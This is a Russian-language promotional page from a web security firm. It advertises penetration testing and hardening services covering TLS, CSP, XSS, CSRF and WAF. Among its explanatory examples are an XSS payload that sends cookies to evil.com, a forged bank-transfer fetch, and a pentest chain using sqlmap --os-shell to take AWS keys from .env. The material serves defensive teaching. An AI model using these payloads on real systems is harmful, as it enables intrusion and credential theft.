Однажды мой клиент — финтех-стартап на React и Laravel — потерял $50 000 из-за IDOR-уязвимости: любой пользователь мог подставить чужой ID в запрос и получить данные о транзакциях. Мы выявили это при пентесте, но код уже был в продакшене. Такие случаи — норма, если не проводить тестирование на проникновение до релиза. Мы специализируемся на пентесте веб-приложений и знаем, как найти даже неочевидные цепочки атак. Получите консультацию по пентесту — мы оценим риски вашего приложения.
Почему пентест важнее аудита?
Аудит безопасности часто ограничивается сканированием и чек-листами. Пентест идёт дальше: мы активно эксплуатируем уязвимости, чтобы показать реальное влияние на бизнес. Например, SQL-инъекция может привести не только к утечке данных, но и к полному контролю над сервером. Мы моделируем действия злоумышленника, используя современные инструменты и техники. По данным OWASP, пентест выявляет в 3 раза больше критических уязвимостей, чем автоматическое сканирование.
Как мы проводим тестирование?
Мы используем комбинацию автоматизированных сканеров и ручного анализа. Ручное тестирование даёт на 40% больше находок, чем автоматические сканеры, особенно в логике аутентификации и бизнес-процессах. Наши инженеры имеют сертификаты OSCP и GPEN, а также 5+ лет опыта в пентесте.
Pre-engagement
Перед началом мы подписываем SoW (Statement of Work) и Rules of Engagement, чтобы чётко определить scope, допустимые методы и время тестирования. Это гарантирует, что ваши системы не пострадают, а мы не выйдем за рамки.
Разведка (OSINT)
Мы собираем максимум информации из открытых источников: поддомены, DNS-записи, утёкшие credentials на GitHub, старые версии страниц через Wayback Machine. Это позволяет найти точки входа, которые не видны на поверхности.
Сканирование и анализ
Используем Nmap для сканирования портов, Burp Suite для анализа трафика, Gobuster для перебора директорий. Также проверяем JavaScript-файлы на наличие API-ключей и внутренних эндпоинтов.
# Пример: поиск поддоменов через crt.sh
curl "https://crt.sh/?q=%.example.com&output=json" | jq '.[].name_value'
Эксплуатация
Мы не просто находим уязвимости — мы строим цепочки атак. Пример из практики:
- Найден SQL injection в параметре
filter экспорта пользователей.
-
sqlmap --os-shell — получили shell на сервере.
- Из
.env извлекли AWS-ключи и получили доступ к S3-бакету с бэкапами БД.
Мы проверяем IDOR, race conditions, session fixation, SSRF, RCE и другие типовые уязвимости. Для этого пишем скрипты на Python или Go, которые эмулируют атаку с нескольких аккаунтов.
Пример цепочки атаки на основе OWASP Top 10
- Разведка -> поиск уязвимых эндпоинтов.
- Эксплуатация SQLi -> получение shell.
- Привилегий эскалация -> доступ к данным.
- Сокрытие следов.
Post-exploitation
После успешной эксплуатации оцениваем возможный ущерб: какие данные скомпрометированы (PII, финансовая информация), есть ли путь к горизонтальному перемещению, можно ли закрепиться в системе. Это помогает бизнесу понять реальные риски.
Reporting
Мы готовим детальный отчёт, который включает:
- Executive summary для руководства с оценкой риска и топ-3 находками.
- Техническое описание каждой уязвимости: PoC, скриншоты, CVSS-оценка, рекомендации по исправлению.
- Дорожная карта: P1 (24–72 ч), P2 (1–2 недели), P3 (следующий релиз).
- Методология: инструменты, хронология, что не тестировалось.
Что входит в отчёт?
Отчёт по пентесту включает executive summary для руководства, техническую детализацию с PoC, скриншотами и CVSS-оценкой, а также дорожную карту исправлений. Мы также прилагаем методологию и scope тестирования.
Как подготовиться к пентесту?
Перед пентестом определите scope, подготовьте тестовые аккаунты и убедитесь, что у вас есть доступ к логам. Важно согласовать Rules of Engagement и время тестирования, чтобы не нарушить работу продакшена.
Сравнение типов пентеста
| Параметр |
Black Box |
Grey Box |
White Box |
| Информация о системе |
Нет |
Частичная |
Полная |
| Глубина атаки |
Низкая |
Средняя |
Высокая |
| Время (простой сайт) |
3–5 дней |
2–4 дня |
2–3 дня |
| Реалистичность |
Полная |
Частичная |
Низкая |
Согласно OWASP Testing Guide, Grey Box обеспечивает наилучшее соотношение глубины и реалистичности.
Сроки и стоимость
| Тип приложения |
Black Box |
Grey Box |
White Box |
| Простой сайт |
3–5 дней |
2–4 дня |
2–3 дня |
| SaaS / маркетплейс |
10–14 дней |
7–10 дней |
5–7 дней |
| Банковское / финтех |
21–30 дней |
14–21 день |
10–14 дней |
Стоимость рассчитывается индивидуально. Ориентируйтесь на то, что вложения в пентест многократно окупаются: средняя стоимость устранения критической уязвимости в 10 раз меньше затрат на ликвидацию последствий утечки. Закажите пентест сейчас и обезопасьте свой бизнес.
Наш опыт
Мы провели более 200 пентестов для компаний из топ-50 РБ, включая финтех, ритейл и государственные порталы. Наши инженеры имеют сертификаты OSCP, GPEN, CISSP и 5+ лет опыта. Гарантируем конфиденциальность всех данных и полное соблюдение NDA.
Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS
Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.
Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.
HTTPS и правильная конфигурация TLS
HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.
В конфигурации Nginx/Apache проверяем:
- Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
- Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
- OCSP Stapling — ускоряет проверку отзыва сертификата
- Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)
Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.
Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.
Content Security Policy: самая мощная и самая сложная защита
CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.
Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.
Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.
'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.
Почему XSS остаётся самой частой уязвимостью?
XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:
| Тип XSS |
Пример |
Защита |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Эскейпинг вывода, CSP |
| Stored |
Комментарий с кодом, сохранённый в базе |
Валидация ввода, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Избегать innerHTML, использовать textContent |
Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.
Типичный кейс: интернет-магазин с XSS в форме отзыва
Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.
CSRF: защита форм и API
CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.
CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.
SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.
API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.
WAF и защита от DDoS
WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:
- Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
- AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.
DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).
Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).
Другие обязательные меры
Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).
SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.
Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.
Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.
Как мы работаем
-
Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
-
Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
-
Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
-
Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
-
Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.
Что входит в работу
- Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
- Готовая конфигурация TLS (Nginx/Apache)
- Политика CSP с режимом Report-Only и боевой версией
- Настройка WAF и Rate Limiting
- План обновлений зависимостей
- Доступы к инструментам мониторинга (Sentry, Datadog)
- 30 дней постаудит-поддержки (консультации, правки)
Сроки и стоимость
| Тип работ |
Срок |
Диапазон стоимости |
| Security-аудит + hardening (заголовки, TLS, обновления) |
1–2 недели |
от 60 000 ₽ |
| Внедрение CSP (Report-Only → продакшен) |
2–4 недели |
от 90 000 ₽ |
| Настройка WAF + Rate Limiting + DDoS защита |
1–2 недели |
от 70 000 ₽ |
| Комплексный security review + пентест |
3–6 недель |
от 200 000 ₽ |
Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.